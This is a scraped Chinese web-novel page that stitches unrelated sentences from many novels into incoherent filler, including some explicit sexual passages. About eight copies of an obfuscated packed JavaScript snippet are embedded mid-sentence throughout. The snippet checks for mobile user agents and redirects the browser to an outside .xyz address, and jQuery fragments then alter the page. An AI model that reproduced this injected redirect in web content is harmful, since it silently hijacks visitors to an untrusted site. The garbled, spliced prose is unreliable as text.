量变引起质变,这无穷无尽的蚀阴,任你法术通玄,遁术高超,在这般朴素堆积下,也终有耗尽一刻。
现在自家的皇位并不稳固,宗室子弟,可不知他们一家,比他们血缘更近的也不是没有。
“从来没把你当朋友,我只不过是在利用你达到我的目的而已。”宫翎据实所说。
“不了,不了!”袁子霞连忙摆手,陈妈对她的那个态度,她怎么赶紧去坐坐呢?
黑暗精灵对阿斯加德的威胁实在太大了!大到了托尔暂时将张寒忽略在脑后的地步。
大户人家客厅可以用八仙桌配太师椅,花厅可以用木质沙发茶几,卧房棕绷床配五斗橱。家里全套都有了。在加上休闲的躺椅、摇椅、贵妃榻。这下东西就够多了。种类丰富应该足够支撑起一个店铺了。
诸人虽在谈拳论天下,可饭桌上的菜却很少动,铁拐更是连筷子都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669408|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿起来过。
赵飞尘拉住他探来的手,由破洞翻出去,立马见着一张张带笑的脸庞。不过,笑容不见一丁点亲切,反而处处透着冷漠和戏虐。
“水之魂者以为如何?”第三神帝罗德尔举起杯子,浅啜一口,随意地问。
“轰~”他随手一拳,打在空地处,立时掀起一阵惊天气浪,草原被他犁出一道深深的沟壑。
郭子昭刚才所给出的理由,咋一听感觉是很有道理的,但是对于清楚郭子昭与李静教练之间私怨的人来说,这就是在瞎扯蛋了。
所谓的拳术意境就是这么搞来的,自己心里先得有个念想,我要大气磅礴,含住宇宙,拳意自然高绝。
恶臭在狭窄的土墙间弥漫,即便是没有房顶,流动的空气也带不走那股味道。一根两握粗细的唧筒伸进热腾腾的大锅,锅里翻滚着令人作呕的黄汤。竹竿一拉,黄汤立即抽进了竹筒,把竹筒外壁变得滚烫。
看到安迪瞬间变回,月如心压力很大,不过也和安迪一起战斗了。
刘先生当然知道廖大亨收朱平槿赞助费的事情,但说起来还是忍不住义愤填膺。 第一百九十二章 党争:最后一舞!后宫三千人,特殊的“双修”之法! 兵部尚书,李承武的府上。
“皇上要纳妃了,这预示着不久后,我大明又会多出许多皇子来,”满头白发,看起来有些木讷的督察院左都御史张庭瑞捏了捏须,摇头叹息,“皇上迟迟没有立太子储君,如今又突然纳妃。唉,多事之秋啊……”
如今,李府上几乎汇聚了六部、督察院、大理寺、通政使司、翰林院、钦天监全部
汉城守军有三万余,京畿道加起来能有五万,但可战精兵都被李继隆带去南下平叛去了,如今就剩下了两万饭桶,还有自己麾下这一千正黄旗。
虽然邢可动作隐秘,不过还是被一直关注他的蓝雪和苏晴看在眼里。
而莉雅这一笑,气氛就像是被什么给渲染上了一层欢乐的气息一样,顿时就不一样了起来。
“你我同在天地中,难道只有在你身边才算留下?”段红鲤不知从哪掏出一根笛子,递给李长安。
对着李颖做了个请的手势,张胜脸上的盛气凌人消失,取而代之的是微笑。
逐渐的,平安掌握了萧育明在学校最常做的两件事,第一就是给大家送礼,第二就是请大家吃饭,这些送礼和吃饭都是平安能够看到的,至于看不到的,不知道萧育明还请了谁,还给谁送了礼。
余彦率领大军已经占领这里有半个月了,不断派出夜不收甚至骑兵队侦查周围的形势,但一切都让让他感觉到有些诡异,距离最近的蓟镇镇城都是没有一个兵丁,余彦一开始认为是个陷阱,用了五日才打探清楚。
“嗨,明白了,清官难断家务事。”平安说着话眼睛一直的盯着俞薇。
而其他电影,原本是大年初一上映的第一天,原本是票房大卖时刻,但在阿凡达电影的光辉下,立刻显得黯淡无光。
那射手便是塔什海的儿子乌鲁思台吉,见听了孙伯纶的话,脸上的倨傲消失,深邃的眸子里多了些愤怒,但也只是一闪而过。
可惜,肖董事长更是技高一筹,这次弄得他损兵折将,元气大伤,他很不服气。
“老妈就是烂好人……”冯一鸣嘀咕了句,让彭时年把车里的救护箱拿出来。
赌石坊的人立刻上前,在石头上贴上了袁天成的封子,后者随后继续选择第二块石料。
讨厌的人就像是苍蝇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669409|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你越是想赶它走,它就越是嗡嗡嗡的围着你乱转,让你不胜其烦。
自从开播以来,刘佳宁一直在玩中单和上单,也是不由得有些乏味,今天他也是想换换口味,一选了个打野,二选了中单。
椿不在承启楼,这是李泽华迅速赶到才得知的结果。但他的眉头更皱了,她不在自己家还能在什么地方?
在这一声轰响之下,周围的那些魔修立刻从刚才的状态中清醒过来。
“说得好!”地铁里有人鼓起了掌,更多的人却像是看热闹一样,举起了手机,把这一幕都给拍了下来。
在思汉飞身旁李察不敢肆无忌惮地使用内力,只能尽力去听孛孛儿在说些什么,从孛孛儿的话里,他依稀听见了地牢,犯人的字眼。
听到他的叫声,肯显得很兴奋,它的口中也是连连发出吼叫之声。
虽然调皮鬼还在补充营养,暂时没办法进行高强度训练,可中间空出来的时间,如果不拿来做点什么事,又太浪费了。
一上来,双方数十万人马便陷入了惨烈的交战之中,一颗颗人头飞舞,鲜血迸溅,如同绞肉机一样。 第一百九十三章 诸国使臣:我们要仙术!王用汲:这话最好别让严世蕃听到! 诗云:
酒是穿肠毒药,色是刮骨钢刀。
财是下山猛虎,气是惹祸根苗。
看来四字有害,不如一笔勾销。
无酒不成礼仪,无色路断人稀。
无财世路难行,无气倒被人欺。
看来四字有用,劝君量体裁衣。
据《仙帝起居注》记载:嘉靖五十年,正月初五夜,帝居乾清宫,燕语莺啼至晨
上辈子,她接触的那些人?渣爹就不说了,上学时候,那些盯着她的脸,她的家世的男人也不少,明好总是能够用一双冷眼,看着那些人的表演。
可可起的早,开门看到黄大春来了,先是愣了一下,然后喊哥哥起床。
明好倒吸一口冷气,这里面的弯弯绕绕,稍微一个不慎,还真的就容易着了道。
刚刚的电话,虽然对方没有说话,可能那股呼吸高鸿飞很熟悉,如果没猜错的话,应该是倪楠,要不要打回去呢,高鸿飞心里纠结?
李赛花长得比较清秀,让高鸿飞目瞪口呆的是,她胸口那俩巨大,实在是太吸引眼球了。
别人不太想得罪李天,哪怕对李天再不满,也不会表现出来,商鹏飞就不同了。
高鸿飞瞬间脸冷了下来,就是省里出了名的偷工减料,盖房子连钢筋都换竹竿的金桥集团?上次在梧桐市开发的楼盘倒了砸死人,屁股擦干净了?
高鸿飞笑笑,既没承认也没否认。只是跟着高雄州后面沉默以对,低着头上了楼。
随即,秦凡拿出手机,弹出来一条南宫雪发过来的微信:今天九点半,巴爷会在骏丰大厦23层开会,在他去骏丰大厦的路程最适合伏击。最佳伏击地点:骏龙路第三个红绿灯。
“我不懂大伯你想说什么呢,这边还有好多事情要忙。”明好打算直接走人了。
徐邪一腿蹬出,身子微微一沉前冲,右肘抬起,狠狠地再次朝花城右脸侧击打了过去。
直到此时,大民才了解少年从不离手的竹竿中竟藏着一把狭长的利刃。
为什么要在她最想见到他的时候出现她面前,如果他不出现该多好,那么她也不会像现在这样,对他的爱更深一层。
祭坛的四周矗立这鬼火灯笼,灯笼旁停靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669410|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是九尊龙棺,里面有真龙的气息,似乎棺材里埋葬的就是真正的神龙,让人不寒而栗。
“混账,明天就是第七天了,你们现在告诉我,对那东西的信息根本追溯不到?”目光阴鹫的盯着自己的情报总管们,还有在边上大气都不敢出一声的丁克。兵奇锐一阵疲敝。
屠魔剑一定感应到沈君在找它。有些后悔带着屠魔剑来,当时想的是沈君拿到屠魔剑会马上离开花城,想沈君在花城多呆些时日。
就在此时,冷灵仙的双目微微一闪,出现了一道威严的目光。而他的身后,那个老头缓缓而出。
“最终还是没能得到姐姐的住址。”李子孝在心里稍微惋惜了一下。
他很庆幸能有现在这样的结果。杨家两位公子,至少还有一个是知道怎么去爱人,怎么去追求的。这样就很好了,没有所谓的牺牲,也不存在传闻的勾心斗角。我只是有身为你哥哥的责任,我只是有作为杨家人的义务。
“大师,我。。。”此话还没说完,突然一股沉重的令人发指的威压传来,甚至天空云层也被压低了三分!场中所有人心中都咯噔一声:登峰境!怎么会有这种老怪物前来? 第一百九十四章 海瑞:这份尊重是大明赐予尔等的,而不是你们用实力赢的! 要神术?
那不就是要仙法?
对于大明朝,上到官员,下到百姓来说,都有一个统一的逆鳞,那就是仙缘。
百姓和普通官吏层面倒还好说,毕竟朝廷从未向他们公开宣布过,有仙法一说,都是他们笃定的认为朝廷和仙人有关系。
但不论是哪一样,在所有的臣民心中,仙法都独属于大明和大明的子民。
萧飞郁闷道,不是他不懂得珍惜苏珊和柳妍月的劳动成果,而是这个菜真心没法吃,比吃老鼠药还艰苦。
心中默念了好几遍自己是被整个北之国给卖了,不管从哪方面考虑,自己都是这个家伙的奴仆了,反而……会让自己心中的愤恨转移到北之国去,而不会放在陆羽身上。
红砖房的主人是西泽大学的一位金融系教授,已经退休,想回老家养老,又不打算卖房子,他觉得以后可能还会回晴川,所以打算把房子租出去。
只是一会之后,李诗便再次改变容貌,换过了衣服,她变成了一个面目丑陋的精瘦的中年人。
如果是强酸的话,土壤之中某些东西,也会被腐蚀掉,它们只会留下那种不会被酸腐蚀的东西,就好像溶洞那样。
哼着十八摸的调子,调转车头,杨杰凯又去找秦风等人吆五喝六的大吃大喝了一顿,这才带着一身酒气往回开去。
楼上,萧飞一脚将中村煌太踢下楼后,他就那么看着和金虎决斗的平田佑。
然而积分诱惑虽然大,但是三级晶核的身份同样高贵!一级晶核相当于系统升级经验的1,这三级晶核又会是多少?能否让系统直接升级?这让李逸犹豫不决。
王鲸咬牙强笑了一下,疼痛忽然又从大脑传至全身。这一下,王鲸几乎要喊娘。他骨折过无数回,受过各种酷刑折磨,也没觉得比得上此刻的一分难受。
于是我大致了解了事情,但剩下很多关键的节点,我还是需要看到孩子本人,甚至是到那篇竹林里看看之后,根据分析,才能够有所定论。
“阿九,你这是在勾引本王爷吗?”他的身子一下子坐的僵直。她此刻额头上冒着汗,嘴里头无意识的喊道:“冷,好冷!”幕千尘一下子满头的黑线,新婚之夜,没有想到他的王妃居然这么大胆,直接来勾引他了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669411|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >慕容桀瞧着这龙王像,总觉得很是熟悉,但是又想不起来在哪里见过。
她要把生意做大,让生意遍布整个周国,跺一跺脚整个国家都要抖三抖,只有掐住了整个国家的经济命脉,她才有能力保护自己的家人和村子里的人。
南宫灏本来就不愿意待在这里,只是沐九思没说要走,他也不好意思开口,杨继来这么一说,马上点头同意。
毕竟是别人家的家事,冯若兰一直没敢插嘴,现在见气氛缓和了下来,她忙开口道。
但二丫一个都没有瞧上的,闻到他们做的饭更是吐的个昏天黑地。
前世顾锦宁自然没去这次秋狩,那时正忙着与父亲斗气的人,哪能这么没骨气轻易妥协。故而初时她听说父亲要议事,心里还嗤笑父亲总是这么认真,狩个猎还要专门讨论一番。
“这个断口——这里有人来过,他们一定就在附近。”赵一铭肯定的道。
来送土豆的心腹已经回宫禀报了,说这些东西正是苏半夏要找的,太子对土豆也很是好奇,乔装打扮了一下之后,便溜出了皇宫,打算来太傅府看看,那土豆的神奇之处。 开个单章,发个月末感言 要想解救夏瑶瑶,并治好的她的失忆,最重要的就是要防止她自尽。
天狐游戏平台,就有些惨淡了,虽然他们也知道,新春搞播大的可以促进营收。
虽然守护星灵的力量有所消退,但塔里克却非常清晰地知道,在拉克珊娜的身上有着明显的、天光洗礼的痕迹。
出售的货物虽然价格连连上涨,但是去从来没有断绝,只要钱到位,多少都能购买到。
但就算是如此,大概是‘嘉年华’给那边的玩家留下了太深的印象,虽然林瑶没有投放太多的宣发资源,但还是有很多看过嘉年华的欧美玩家,早早起来。
出来这么久,总算是碰到一位像样的高手。这一枪,能让她感到极大的压力,她现在最需要的,正是这样的压力。
最给力的,还是大祭司,又是以生命为代价,召唤出了一个天使,那起码也得是天人境的。
他心里打定主意,无论事情究竟什么情况,他必须压着,绝对不能引火烧身,影响宣传科。
陆珍珍惊魂未定的想着一会儿,去帮忙收拾礼物的时候再给他好好说说教,这丫头实在是让人不省心。
看戏都是有钱又有闲的人干的,我觉得自己总是在疲于奔命,没有闲下来的时候。
我想把我所有的疑问,苦恼,想法……一古脑全倒给父亲。也想从他这里得到安慰,保护,开解。
渐渐的,那蠕动的黑雾开始收缩,并且幻化出一个背生双翼的……人类?
如此来来回回斗了大概两炷香的时间,石鹏一招直劈,将常山手上的盘龙棍打成了弓形。
白衣男子本以为胜券在握,谁知道常山这么轻松的就从他们的包围中逃走了,他心里自然异常气闷。
换取了白云诀的李玉,与北三组的众人返回了营帐,便开始对照原空诀和自家经验一点点推敲起白云诀来。
她装出要去摸钱摸卡的样子,颤抖着手去摸衣袋,两个流氓见她怕成这样,只当她先前反抗无效,心里的斗气已泄,打算任由他们摆布了,顿时暗喜,觉得能多赚一票,倒也是个意外的收获。
奇异的感觉一点点从心里抽出,像丝一般轻柔,也像丝一般凌乱。
随着那一指按下,众人的电脑立刻有着火花窜出,紧接着一台一台的超级电脑接二连三的发生爆炸,彻底报废。
“母亲,妹妹可要紧?”裴氏虽然知道苏如绘必定无性命之忧,但看她那奄奄一息的样子还是担心的问了一句。
便在此时,一波呜呜的怪响从密林深处传导过来,修为稍弱如洛玉姬、梅洁,闻声立觉心口激跳,连带着黄庭元婴都受到震荡,林中枝叶哗哗相和,威势慑人之至。
贺兰瑶看着面色虽然自然但是却急于转换话题的龙昊然和皱着眉头,不知在想什么的龙瑾瑜又是连声道。
网熊暴涨的身形接近两米。浑身环绕着强大的压迫力,强大的压力场因为他的超阶强化力量而变成了一个就算是拥有六阶能力与的高手也无法抵抗的重力场,接着。他暴喝一声,硕大的拳头爆发出了接近十四吨的力量。
两人合演了一出慈师爱徒的好戏,与此同时,一点儿不可言喻的信息,通过这一动作,流入李珣心间。
吴凯听到耿忠的话,就点了点头说道:“事不宜迟!现在就把他先带到先前我让你准备的帐篷里,我们马上对他进行检查。”吴凯说完就立刻向着帐篷那边走去。
张翔开始助跑,跑动中他没有看球门角度, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669412|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是直视着迪达的眼睛。
“河水腐蚀性很强,你一旦掉下去,就再也上不来了。莫说是你,就连道行不高的神仙,掉下去都必死无疑。”毛乐言道。
王跃知道此事不能脱久,否则等到EDG意识到自己这边的下路迟迟没有上线,就会有所警惕防范了。
贺兰瑶对着白虎竖了竖大拇指,眼底是一片赞赏之意。白虎高傲的扬了扬头,那眼里的意思可是再明显不过了,他白虎大爷办事,能不好吗?
黎天看向那坐巫师塔时,发现这座巫师塔塔身呈灰色,上面散发着神秘的气息,虽然有很大的破损,但至少还有三分之一的地方没有破损,比之前的万灵天灯和三代虚空引擎好多了。
那人似乎在门口停留了一会儿,大概十分钟后,纪浔才听见外面车子启动离开的声音。
洛白钧深吸一口气,尽量保持着自己的表情没有任何怪异的地方。
“灵儿,你说的那股气息是从哪一块石头里面散发出来的?”黎天好奇的看着这是块流光石,就没感觉哪里有奇异的地方。
那几柄水剑,那几道剑影,昭示着合围之势已定,得了少年一声令下,如怒涛卷地一般杀向黑剑。
杨信的这一**操作,简直是通破了他的认知, 刷新了他的上限,在他看来这手雷就是世俗化的掌心雷,都是久经沙场之人,看上两眼就知道这手雷的用途及使用方法。
县级家族都有一个凝脉境九重天的灵者坐镇,郡级家族都有一个以上星云境以上的家族坐镇,府级家族有一个以上的凝丹境强者坐镇,只有超级家族则有五个以上的凝丹境强者坐镇。
齐迁说完就把几张图片发给了傅衍寒,是纪浔化着浓妆陪酒的照片。 第一百九十五章 侠客行 “那个海瑞就是个吃干饭的!”书房里,小阁老严世蕃一边踱步一边骂骂咧咧。 “只会在朝廷里耍横的,他怎么就不当场把那些蛮夷给就地斩杀了!” “被人挑衅就打几仗就算了?” 听着严世蕃发着的牢骚,严嵩一边指点严绍庭的书法,一边抬起眼皮看了眼,微微摇头。 “……爹!”半晌后,发了一通牢 若非洪翔想将韩遂的一条贱命留给马超亲手处置,说不定就在屎尿之中混上一颗响雷了。那样的话,就算是不爆炸,仅凭响雷的坚固程度,加上高空加速度的加成,直接砸死韩遂都不在话下。 “夸你两句还找不着北了,我倒要看看你到底进步了多少。”说完风弦月再次消失了。 这次,不仅彭程刘明等人,即便是来过数次的刘觞,也不禁的伸手抹去额间的虚汗,露出难受的表情。 刘易斯、弗朗西斯、马里昂、斯塔德迈尔、理查德-杰弗森、吉诺比利、诺维斯基先后出来。 “天级的魔兽?!”原本以为又是一名隐世的天者,听到吕志强的话语,几人感到脑中有些眩晕。即使是那位眼高的傲宇少爷也是目瞪口呆。 “不过我建议把神血吸收,可以为你增添一个新的异能,加强你的能力!”万青提议道。 陆湛随口忽悠,“有机会的话,你测测苏萍的资质,她或许是普通人里面资质最好的。”所以才会在受到刺激的时候突然觉醒。 考虑到影片只是制作成本就高达5000万美元,时运不济的杰克·尼克尔森翻身无望。 正说着,林圭莉捧着一个托盘过来,把红酒和水果放在旁边茶几上,学着金素敏的模样,在西蒙另外一侧跪坐下来。 就在这时“嘭!”的一声巨响,包房门直接就被踹飞了,也不知道这人多大的力气,大门直接脱缰而出,砸在一个在门口守着的马仔身上,他还来不及发出惨叫,直接就昏迷了过去。 为首的,赫然是将大荒一统的王上,谢昀殇。惊世之才,放眼整整大荒三百年的历史,也寻不出第二个。 价格没有因为那贵宾包厢里的抬价而停止。不多时,价格就到了九十万。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669413|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电视屏幕最后定格的孩子和母亲被迫分开的画面,让吴雨桐不安的情绪,更加七上八下的不舒服了。 那么一切都说得通了——幽灵机器人和万魔天尊为利用阿内斯便将阿内斯的生父杀死并对年幼的他谎称万魔天尊是他的父亲。 这辈子在甬道的地面上滑行,发出清脆的脆响,而紧接着便听到无数暗器破空之声,数不清的暗箭射了出来,密集无比,纵是一段的武道高手置身其中恐怕也只有毙命的份。 德古拉斯也是心知肚明,刚刚发生的那一幕,只是因为他临时布置的魔法阵产生了效果,况且一个低级的炎爆术,还不足以造成大面积杀伤这一点,他比谁都清楚。 直到剑冥觉得自己把腹中的苦水也吐完,剑冥才勉强地撑起身来。 黑虎也察觉出一些端倪,也不再废话,赶紧向后跑去,刺猬等黑虎走后看着黑暗若隐若现的斧头帮总部沉思起来。 自从杨丽在这里闹过以后,已经一个多月了,她再也没有见过他了。段姝斓以为她自己很做到对何烨华的淡忘,可是,却好像反而更加深了对他的思念。 第一百九十六章 徐阶出手了,最后一战! 听到嘉靖的话,吕芳一愣。
心里头的感动也在这一刻瞬间被冲淡。
什么意思?主子是说,徐阁老这是在作戏,故意给张居正等人看的?
嘶!这看起来也不是很像啊!吕芳心头吸了口气,又下意识的看向眼前的本命。
“哼,”嘉靖轻哼一声,“徐阶是何许人?好不容易有了现在这份家业,他会轻易放手?”
缓缓的伏身而下,紧紧的贴在了自己赤体之上,而胯下的那抹坚挺却越发升温,坚挺的轻触着那寸许芳草之地。
以前的解说员占据信心不对称的优势,能比球迷知道得更多,球迷不一定能察觉解说员的失误。随着球迷对足球的认识开始加深,现在的解说工作容错率更低。
“缎儿!”随之一声厉叱,罗缜手中的杯亦掷下,秀颜陡然凝冰,明眸亦浮怒焰。
罗缜可以断定,对方必然有别样居心了。这人一对眼睛,在自己的脸、颈巡移,甚至不时偷瞥胸部,猥琐之态毕露。
李贵妃闻言脸上也隐隐露出一丝喜色,可见她虽身在空门,终归与皇上夫妻多年,心中依旧对皇上异常惦念。
尹紫荆心思微动,正在气头上的莫如芝并未察觉,闷恨的暗哼一声,不再往下言语。
虽然如今日本乃是佛国,但面对有伊势神宫坐镇的伊势即使强如一向宗也只得屈居长岛。因此良木长政作为一个土生土长的伊势人不由得向天祷告感谢神恩,一时之间原本有些恐惧担忧的心情果然得到了舒展。
直到肩头传來一阵温暖,才让她彻底放下了防备一头扎进君墨轩的怀里,哭到不能自已。最终还是到了分别的时候,就容许她放纵最后一次好了。
赛前十分钟,安峰戴上面罩,由给他撑伞的赛车宝贝“护送到”赛车前,内华达的太阳非常猛烈,路面温度45摄氏度,恐怕这次比赛的体力消耗会比在加州大很多……安峰戴好头盔坐进车内,比赛在即。
“我。我愿意。”栖蝶唯唯诺诺的说。心里却暗骂。除了傻子。谁会愿意一世为奴。反正骗骗他又不花钱。
可上林散修却也不断有人在陨落,这场战斗如果变成消耗战,无疑最终胜者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669414|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还会是方还真两人。
杨边立刻翻到妖兽篇的妖兽图鉴,然后看看有哪些妖兽是可以飞行的。
“这有什么好犹豫的?直接说就是了。”罗克哈特和墨泗筠可不一样,对这种事早就过了会害臊的年纪了。
而顾副门主也是有些尴尬,不过已经锤炼了七八十年的老脸了,这点事情,对这老贼自然是没有太多的影响。
阴月上人“哼”了一声,一言不发,忽的右手两根白玉般的手指勾出,抠向倪多事的肩头,她这一下毫无征兆,近乎偷袭,但见白光一闪,食中二指搭在倪多事肩头,一股阴气跟着运到指尖上。
乐望第一次施展出这个领域的时候,还是他刚入九阶没多久的年代。撒旦刚好在场,很清晰地感觉到了足以威胁到神阶的力量,于是就将乐望绑在了自己身边,好好督促他修炼,一直到神阶后三等神修为了才喊停。
一旁的春花和秋月看到霸天虎虎背熊腰,仿佛一个巨人,还道他只是力大,身法毕竟不大灵活,哪知这时看来,不由的暗暗喝彩,纷纷叫好,赞霸天虎身法了得,应变奇速。 第一百九十七章 家族!家族!家族! 竟然是以瀛州府来做布局吗?
张居正几人听到这里,心头莫名的一跳,下意识的看向上首位置上,不发一言的徐阶。
他们知道徐阁老要效仿信陵君,以身入局,但具体的计划,就连他们都不知道,却没想到会把事情的做的这么大,这出乎他们意料了。
而且,刚才刑部尚书徐正直怎么说的?他说徐阁老的学生,松江
蓝映尘也不看许愿是什么表情,拉着许愿的手,就近找了一间不知道是谁的卧室,就开门进去了,还没等别人反应过来的时候,就又关上了。
一直纷乱无章地想着事情,所以不记得冷忆穿哪一件衣服的时候更好看更合身了,所以便决定十几件全买了下来。
周艳知道自己这个层次的人跟人家完全是两个不同世界的人,也就不再强求,虽然心里有点失落,但想到提成,又开心了起来。
“那个什么英杰,不用担心,我来解决!我倒要看看他有什么资格做我姐姐的师父!”晨辰拍了拍胸膛道。
“明白。“牛二等五位受伤不重的佣兵齐齐点头,然后便和众人分开了。
可惜他刚把药草挖出来,还没来得及保存在温玉盒里,就被偶然遇到的死对头给碰上了。
“林大夫,你们真是同乡吗?”高渐离疑惑地问道,假如不是,为何对五儿的性子如此了解?
但问题是逾辉一伙隐匿了这么长时间,为什么要突然出现还要弄出这么大的动静?他们为什么要对付张家呢?
这回蓝映尘算是体会到他的厉害了,蓝映尘就不明白了,他们这好好的施工队里,为什么要找来这么一个搞政治谈心的人当副队长呢?这不纯属是变相折磨吗?
返回飞船上,远远望见对方的三艘飞船往下方降落下去,李斯以为夏古邦放弃了,也就不以为意了,笑着加入了烧烤晚会的行列。
烈火更是如此,是一个极度不安分的好战分子,因此转战过各地做雇佣兵,只为了享受炮火连天、枪林弹雨的感觉,那能让他得到极大的满足。
秦昊一动用自己的武魂天道之眼,立刻就感受到自己的脑海内,竟是传来一阵震动,同时自己身体四周,那犹如锁链一般的银芒,也在颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669415|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。
我大吼了一声。我无法想象那种后果,特别是在黄洁雯稍微恢复清醒的时候,她遭遇到这样的打击,她会不会格外的恨我?
可是连我也没有意识到的是,在一次又一次的轮回之中,慢慢积累的回忆,却变成了一个单一而纯粹的情感。
这些刺入的银针是给阎王保命的,不然的话血被抽光,阎王会立即毙命。
“这件事情我还是仔细考虑一下吧,过几天再给你回复。”犹豫了很久,我还是决定认真想一下。反正时间还长,我又不是明天就嗝屁了。
不需要赵瑞晨动手,他带来的人就直接将音乐暂停了。房门再次被推开,KTV的服务员推着一个推车,一箱啤酒,还有一些零食。
徐曼曼在一片羡慕嫉妒恨的眼神下背上宝剑,美滋滋的和李明离开了这家刀剑店。
胡邪并不说话,他不怪北冥雪,也没有理由怪她,北冥雪看了胡邪一会,默默地退出了中军大帐。
“额,其实我也不是很清楚……”说着,看着太一嫌弃的表情,苍咳嗽了一下,便开始解释了。 第一百九十八章 从庙堂到江湖,海瑞又进网了 乾清宫。
嘉靖手里端着一碗灵粥,看着面前的本命,对吕芳道:“这回你知道了?”
“徐阶这老东西,他是不会这么轻易放弃的。”
“是奴婢想简单了。”听到嘉靖这么一说,吕芳顿时有些惭愧的点了点头。
他确实没有想到,徐阶竟然可以把事情做的这么绝,这么狠,甚至是如此的大胆!
他在布
试问,有谁愿意在条件允许的情况下放弃自己的所爱之人?又有谁能够为了一个执念甘愿成为别人的棋子?
后世常说的避暑山庄,夏茉就一直以为避暑山庄就是行宫了,到了才知道,避暑山庄是一个大的笼统的称呼,此时还没有正式的成型,目前康熙住的叫热河行宫,只是后世所说的山庄的一部分而已。
鄢郄党虽然在大肆抓捕冥神党的神族,但是冥神党的神族的领地大多数都聚集在一起。
精神力?!天知道修炼精神力有多么困难,能够做到精神力外放,并且在物体上留下持久不散的标记,只有高级元素师以上级别的人才能办到。
凤咏走的路上,找府里的人借了一身打杂的衣服,就直接上了街。
